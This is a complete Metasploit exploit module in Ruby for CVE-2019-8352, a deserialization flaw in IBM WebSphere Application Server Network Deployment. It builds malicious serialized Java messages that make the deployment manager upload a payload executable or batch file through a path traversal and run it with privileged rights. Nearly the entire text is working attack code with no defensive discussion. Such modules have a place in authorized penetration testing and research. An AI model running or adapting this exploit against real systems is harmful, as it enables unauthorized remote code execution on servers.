Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Powershell  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution',  
'Description' => %(  
This module exploits untrusted serialized data processed by the WAS DMGR Server and Cells.  
NOTE: There is a required 2 minute timeout between attempts as the neighbor being added must be reset.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'b0yd' # @rwincey of [Securifera](https://www.securifera.com/) / Vulnerability Discovery and MSF module author  
],  
'References' =>  
[  
['CVE', '2019-8352'],  
['URL', 'https://www-01.ibm.com/support/docview.wss?uid=ibm10883628']  
],  
'Platform' => ['win'],  
'Targets' =>  
[  
[  
'Windows Binary', {  
'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'win'  
}  
],  
[  
'CMD', {  
'Arch' => ARCH_CMD,  
'Platform' => 'win',  
'Payload' => {'Compat' => {'RequiredCmd' => 'generic'}}  
}  
]  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 15 2019'))  
  
register_options(  
[  
Opt::RPORT(11006), # 11002,11004,11006,etc  
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),  
OptRaw.new('SSLVersion', [true, 'Default Version for WASND ', 'SSLv3']),  
OptRaw.new('SSLVerifyMode', [true, 'SSL verification method', 'CLIENT_ONCE']),  
OptString.new('SSLCipher', [true, 'SSL Cipher string ', 'ALL'])  
]  
)  
end  
  
def cleanup  
disconnect  
print_status('Disconnected from IBM Websphere DMGR.')  
super  
end  
  
def exploit  
command = nil  
  
if target.name == 'CMD'  
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") unless datastore['CMD']  
command = datastore['CMD']  
end  
# Connect to IBM Websphere Application Server  
connect  
print_status("Connected to IBM WAS DMGR.")  
  
node_port = datastore['RPORT']  
  
# Send packet to add neighbor  
enc_stream = construct_tcp_node_msg(node_port)  
send_msg(enc_stream)  
  
sock.get_once  
print_status('Server responded')  
  
# Generate binary name  
bin_name = rand_text_alpha(8)  
  
if command  
command = datastore['CMD']  
payload_contents = command.to_s  
print_status('Executing command: ' + payload_contents)  
bin_name << ".bat"  
else  
payload_contents = generate_payload_exe(code: payload.generate)  
bin_name << ".exe"  
end  
  
print_status("Sending payload: #{bin_name}")  
enc_stream = construct_bcast_task_msg(node_port, "..\\..\\..\\" + bin_name, payload_contents, bin_name)  
send_msg(enc_stream)  
register_file_for_cleanup(bin_name)  
end  
  
def send_msg(enc_stream)  
pkt = [0x396fb74a].pack('N')  
pkt += [enc_stream.length + 1].pack('N')  
pkt += "\x00"  
pkt += enc_stream  
  
# Send msg  
sock.put(pkt)  
end  
  
def construct_tcp_node_msg(node_port)  
p2p_obj = Rex::Java::Serialization::Model::NewObject.new  
p2p_obj.class_desc = Rex::Java::Serialization::Model::ClassDesc.new  
p2p_obj.class_desc.description = build_p2p_node_class(p2p_obj)  
  
# Create the obj  
object = Rex::Java::Serialization::Model::NewObject.new  
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new  
object.class_desc.description = build_tcp_node_msg(object, 12, "0.0.0.0", node_port, p2p_obj)  
  
# Create the stream and add the object  
stream = Rex::Java::Serialization::Model::Stream.new  
stream.contents = []  
stream.contents << object  
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new  
stream.contents << Rex::Java::Serialization::Model::NullReference.new  
stream.encode  
end  
  
def construct_bcast_task_msg(node_port, filename, byte_str, cmd)  
# Add upload file argument  
byte_arr = byte_str.unpack("C*")  
upfile_arg_obj = build_upfile_arg_class(filename, byte_arr, cmd)  
  
# Create the obj  
object = Rex::Java::Serialization::Model::NewObject.new  
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new  
object.class_desc.description = build_bcast_run_task_msg(object, 41, "0.0.0.0", node_port, upfile_arg_obj)  
  
# Create the stream and add the object  
stream = Rex::Java::Serialization::Model::Stream.new  
stream.contents = []  
stream.contents << object  
stream.encode  
end  
  
def build_message(obj, msg_id, msg_type, orig_cell_field_type)  
# Create the integer field and add the reference  
id_field = Rex::Java::Serialization::Model::Field.new  
id_field.type = 'int'  
id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ID')  
  
# Create the integer field and add the reference  
type_field = Rex::Java::Serialization::Model::Field.new  
type_field.type = 'int'  
type_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'type')  
  
# Create the object field and add the reference  
new_field = Rex::Java::Serialization::Model::Field.new  
new_field.type = 'object'  
new_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'originatingCell')  
new_field.field_type = orig_cell_field_type  
  
# Create the class description  
msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new  
msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.Message')  
msg_class_desc.serial_version = 1  
msg_class_desc.flags = 2  
msg_class_desc.fields = []  
msg_class_desc.fields << id_field  
msg_class_desc.fields << type_field  
msg_class_desc.fields << new_field  
  
# Add annotations  
msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new  
msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]  
  
# Add superclass  
msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new  
msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new  
  
# Set the member values  
obj.class_data << ['int', msg_id]  
obj.class_data << ['int', msg_type]  
obj.class_data << Rex::Java::Serialization::Model::NullReference.new  
  
msg_class_desc  
end  
  
def build_bcast_flood_msg(obj, msg_type, source_ip, source_port)  
prng = Random.new  
msg_id = prng.rand(4294967295)  
  
# Create the field ref  
field_ref = Rex::Java::Serialization::Model::Reference.new  
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1  
  
msg_obj = build_message(obj, msg_id, msg_type, field_ref)  
  
# Create the integer field and add the reference  
id_field = Rex::Java::Serialization::Model::Field.new  
id_field.type = 'int'  
id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceMsgID')  
  
# Create the integer field and add the reference  
port_field = Rex::Java::Serialization::Model::Field.new  
port_field.type = 'int'  
port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceUdpPort')  
  
# Create the object field and add the reference  
ip_arr_field = Rex::Java::Serialization::Model::Field.new  
ip_arr_field.type = 'array'  
ip_arr_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceIP')  
ip_arr_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')  
  
# Create the class description  
msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new  
msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.BcastFloodMsg')  
msg_class_desc.serial_version = 1  
msg_class_desc.flags = 2  
msg_class_desc.fields = []  
msg_class_desc.fields << id_field  
msg_class_desc.fields << port_field  
msg_class_desc.fields << ip_arr_field  
  
# Add annotations  
msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new  
msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]  
  
# Add superclass  
msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new  
msg_class_desc.super_class.description = msg_obj  
  
# Construct IP Array  
ip_arr = source_ip.split(".").map(&:to_i)  
builder = Rex::Java::Serialization::Builder.new  
values_array = builder.new_array(  
values_type: 'byte',  
values: ip_arr,  
name: '[B',  
serial: 0x42acf317f8060854e0,  
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]  
)  
  
# Set the member values  
obj.class_data << ['int', msg_id]  
obj.class_data << ['int', source_port]  
obj.class_data << values_array  
  
msg_class_desc  
end  
  
def build_tcp_node_msg(obj, msg_type, source_ip, source_port, p2p_obj)  
prng = Random.new  
msg_id = prng.rand(4294967295)  
  
# Create the field type for the origCell  
field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/lang/String;")  
msg_obj = build_message(obj, msg_id, msg_type, field_type)  
  
# Create the port field and add the reference  
boot_time_field = Rex::Java::Serialization::Model::Field.new  
boot_time_field.type = 'long'  
boot_time_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'bootTime')  
  
# Create the port field and add the reference  
tcp_port_field = Rex::Java::Serialization::Model::Field.new  
tcp_port_field.type = 'int'  
tcp_port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'tcpPort')  
  
# Create the port field and add the reference  
udp_port_field = Rex::Java::Serialization::Model::Field.new  
udp_port_field.type = 'int'  
udp_port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'udpPort')  
  
# Create the object field and add the reference  
ip_arr_field = Rex::Java::Serialization::Model::Field.new  
ip_arr_field.type = 'array'  
ip_arr_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ip')  
ip_arr_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')  
  
# Create the task object field and add field_type  
node_prop_field = Rex::Java::Serialization::Model::Field.new  
node_prop_field.type = 'object'  
node_prop_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'nodeProperty')  
node_prop_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Lcom/ibm/son/mesh/AppLevelNodeProperty;")  
  
# Create the class description  
msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new  
msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.TcpNodeMessage')  
msg_class_desc.serial_version = 1  
msg_class_desc.flags = 2  
msg_class_desc.fields = []  
msg_class_desc.fields << boot_time_field  
msg_class_desc.fields << tcp_port_field  
msg_class_desc.fields << udp_port_field  
msg_class_desc.fields << ip_arr_field  
msg_class_desc.fields << node_prop_field  
  
# Add annotations  
msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new  
msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]  
  
# Add superclass  
msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new  
msg_class_desc.super_class.description = msg_obj  
  
# Construct IP Array  
ip_arr = source_ip.split(".").map(&:to_i)  
builder = Rex::Java::Serialization::Builder.new  
values_array = builder.new_array(  
values_type: 'byte',  
values: ip_arr,  
name: '[B',  
serial: 0x42acf317f8060854e0,  
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]  
)  
  
# Set the member values  
obj.class_data << ['long', 0]  
obj.class_data << ['int', source_port]  
obj.class_data << ['int', source_port]  
obj.class_data << values_array  
obj.class_data << p2p_obj  
  
msg_class_desc  
end  
  
def build_app_node_class(obj)  
# Create the structured gateway field and add the reference  
struct_bool_field = Rex::Java::Serialization::Model::Field.new  
struct_bool_field.type = 'boolean'  
struct_bool_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'structuredGateway')  
  
# Create the version field and add the reference  
version_field = Rex::Java::Serialization::Model::Field.new  
version_field.type = 'int'  
version_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'version')  
  
# Create the object field and add the reference  
bridge_field = Rex::Java::Serialization::Model::Field.new  
bridge_field.type = 'object'  
bridge_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'bridgedCellsList')  
bridge_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/util/List;')  
  
# Create the field ref  
field_ref = Rex::Java::Serialization::Model::Reference.new  
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 4  
  
# Create the cellname field and add the reference  
cellname_field = Rex::Java::Serialization::Model::Field.new  
cellname_field.type = 'object'  
cellname_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'cellName')  
cellname_field.field_type = field_ref  
  
# Create the class description  
msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new  
msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.AppLevelNodeProperty')  
msg_class_desc.serial_version = 1  
msg_class_desc.flags = 2  
msg_class_desc.fields = []  
msg_class_desc.fields << struct_bool_field  
msg_class_desc.fields << version_field  
msg_class_desc.fields << bridge_field  
msg_class_desc.fields << cellname_field  
  
# Add annotations  
msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new  
msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]  
  
# Add superclass  
msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new  
msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new  
  
# Set the member values  
obj.class_data << ['boolean', 0]  
obj.class_data << ['int', 0]  
obj.class_data << Rex::Java::Serialization::Model::NullReference.new  
obj.class_data << Rex::Java::Serialization::Model::Utf.new(nil, rand(0xffffffffffff).to_s) # Cell Name  
  
msg_class_desc  
end  
  
def build_hashtable_class(obj)  
# Create the integer field and add the reference  
load_field = Rex::Java::Serialization::Model::Field.new  
load_field.type = 'float'  
load_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'loadFactor')  
  
# Create the integer field and add the reference  
threshold_field = Rex::Java::Serialization::Model::Field.new  
threshold_field.type = 'int'  
threshold_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'threshold')  
  
# Create the class description  
msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new  
msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.util.Hashtable')  
msg_class_desc.serial_version = 0x13BB0F25214AE4B8  
msg_class_desc.flags = 3  
msg_class_desc.fields = []  
msg_class_desc.fields << load_field  
msg_class_desc.fields << threshold_field  
  
# Add annotations  
msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new  
msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]  
  
# Add superclass  
msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new  
msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new  
  
obj.class_data << ['float', 0.75]  
obj.class_data << ['int', 8]  
obj.class_data << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x0b\x00\x00\x00\x03")  
  
msg_class_desc  
end  
  
def build_properties_class  
# Create the object  
object = Rex::Java::Serialization::Model::NewObject.new  
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new  
  
msg_obj = build_hashtable_class(object)  
  
# Create the field ref  
field_ref = Rex::Java::Serialization::Model::Reference.new  
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 9  
  
# Create the integer field and add the reference  
defaults_field = Rex::Java::Serialization::Model::Field.new  
defaults_field.type = 'object'  
defaults_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'defaults')  
defaults_field.field_type = field_ref  
  
# Create the class description  
msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new  
msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.util.Properties')  
msg_class_desc.serial_version = 0x3912D07A70363E98  
msg_class_desc.flags = 2  
msg_class_desc.fields = []  
msg_class_desc.fields << defaults_field  
  
# Add annotations  
msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new  
msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]  
  
# Add superclass  
msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new  
msg_class_desc.super_class.description = msg_obj  
  
# Set the member values  
object.class_desc.description = msg_class_desc  
  
object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'memberName')  
object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, rand(0xffffffffffff).to_s) # Cell Name  
object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'inOdc')  
object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, '0')  
object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'epoch')  
object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, (Time.now.to_f * 1000).to_i.to_s)  
  
object  
end  
  
def build_p2p_node_class(obj)  
msg_obj = build_app_node_class(obj)  
  
# Create the field ref  
field_ref = Rex::Java::Serialization::Model::Reference.new  
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1  
  
# Create the data field and add the reference  
data_field = Rex::Java::Serialization::Model::Field.new  
data_field.type = 'array'  
data_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'data')  
data_field.field_type = field_ref  
  
# Create the object field and add the reference  
prop_field = Rex::Java::Serialization::Model::Field.new  
prop_field.type = 'object'  
prop_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'properties')  
prop_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/util/Properties;')  
  
# Create the class description  
msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new  
msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.ws.wsgroup.p2p.P2PShimNodeProperty')  
msg_class_desc.serial_version = 2  
msg_class_desc.flags = 2  
msg_class_desc.fields = []  
msg_class_desc.fields << data_field  
msg_class_desc.fields << prop_field  
  
# Add annotations  
msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new  
msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]  
  
# Add superclass  
msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new  
msg_class_desc.super_class.description = msg_obj  
  
# Create the byte array ref  
field_ref = Rex::Java::Serialization::Model::Reference.new  
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 6  
  
# Construct IP Array  
byte_array = Rex::Java::Serialization::Model::NewArray.new  
byte_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new  
byte_array.array_description.description = field_ref  
byte_array.type = "byte"  
byte_array.values = []  
  
# Set the member values  
obj.class_data << byte_array  
  
# Add properties  
obj.class_data << build_properties_class  
  
msg_class_desc  
end  
  
def build_upfile_arg_class(filename, bytes, cmd)  
# Create the field ref  
field_ref = Rex::Java::Serialization::Model::Reference.new  
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1  
  
# Create the integer field and add the reference  
filename_field = Rex::Java::Serialization::Model::Field.new  
filename_field.type = 'object'  
filename_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'fileName')  
filename_field.field_type = field_ref  
  
# Create the field ref  
field_ref = Rex::Java::Serialization::Model::Reference.new  
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 4  
  
# Create the integer field and add the reference  
filebody_field = Rex::Java::Serialization::Model::Field.new  
filebody_field.type = 'array'  
filebody_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'fileBody')  
filebody_field.field_type = field_ref  
  
# Create the field ref  
field_ref = Rex::Java::Serialization::Model::Reference.new  
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1  
  
# Create the object field and add the reference  
post_cmd_field = Rex::Java::Serialization::Model::Field.new  
post_cmd_field.type = 'object'  
post_cmd_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'postProcCmd')  
post_cmd_field.field_type = field_ref  
  
# Create the class description  
msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new  
msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.UploadFileArgument')  
msg_class_desc.serial_version = 1  
msg_class_desc.flags = 2  
msg_class_desc.fields = []  
msg_class_desc.fields << filebody_field  
msg_class_desc.fields << filename_field  
msg_class_desc.fields << post_cmd_field  
  
# Add annotations  
msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new  
msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]  
  
# Add superclass  
msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new  
msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new  
  
# Create the byte array ref  
field_ref = Rex::Java::Serialization::Model::Reference.new  
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 7  
  
# Construct IP Array  
byte_array = Rex::Java::Serialization::Model::NewArray.new  
byte_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new  
byte_array.array_description.description = field_ref  
byte_array.type = "byte"  
byte_array.values = bytes  
  
# Set the member values  
object = Rex::Java::Serialization::Model::NewObject.new  
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new  
object.class_desc.description = msg_class_desc  
object.class_data << byte_array  
object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, filename)  
object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, cmd)  
  
object  
end  
  
def build_bcast_run_task_msg(obj, msg_type, source_ip, source_port, upfile_arg_obj)  
msg_obj = build_bcast_flood_msg(obj, msg_type, source_ip, source_port)  
  
# Create the integer field and add the reference  
out_int_field = Rex::Java::Serialization::Model::Field.new  
out_int_field.type = 'int'  
out_int_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'outputGatherInterval')  
  
# Create the task object field and add field_type  
task_field = Rex::Java::Serialization::Model::Field.new  
task_field.type = 'object'  
task_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'task')  
task_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/lang/String;")  
  
# Create the task object field and add field_type  
task_arg_field = Rex::Java::Serialization::Model::Field.new  
task_arg_field.type = 'object'  
task_arg_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'taskArgument')  
task_arg_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/io/Serializable;")  
  
# Create the integer field and add the reference  
forward_gather_field = Rex::Java::Serialization::Model::Field.new  
forward_gather_field.type = 'int'  
forward_gather_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'forwardGatheredDataPipelinePeriod')  
  
# Create the class description  
msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new  
msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.BcastMsgRunTask')  
msg_class_desc.serial_version = 1  
msg_class_desc.flags = 2  
msg_class_desc.fields = []  
msg_class_desc.fields << forward_gather_field  
msg_class_desc.fields << out_int_field  
msg_class_desc.fields << task_field  
msg_class_desc.fields << task_arg_field  
  
# Add annotations  
msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new  
msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]  
  
# Add superclass  
msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new  
msg_class_desc.super_class.description = msg_obj  
  
# Set the member values  
obj.class_data << ['int', 0]  
obj.class_data << ['int', 1]  
obj.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.UploadFileToAllNodes')  
obj.class_data << upfile_arg_obj  
  
msg_class_desc  
end  
end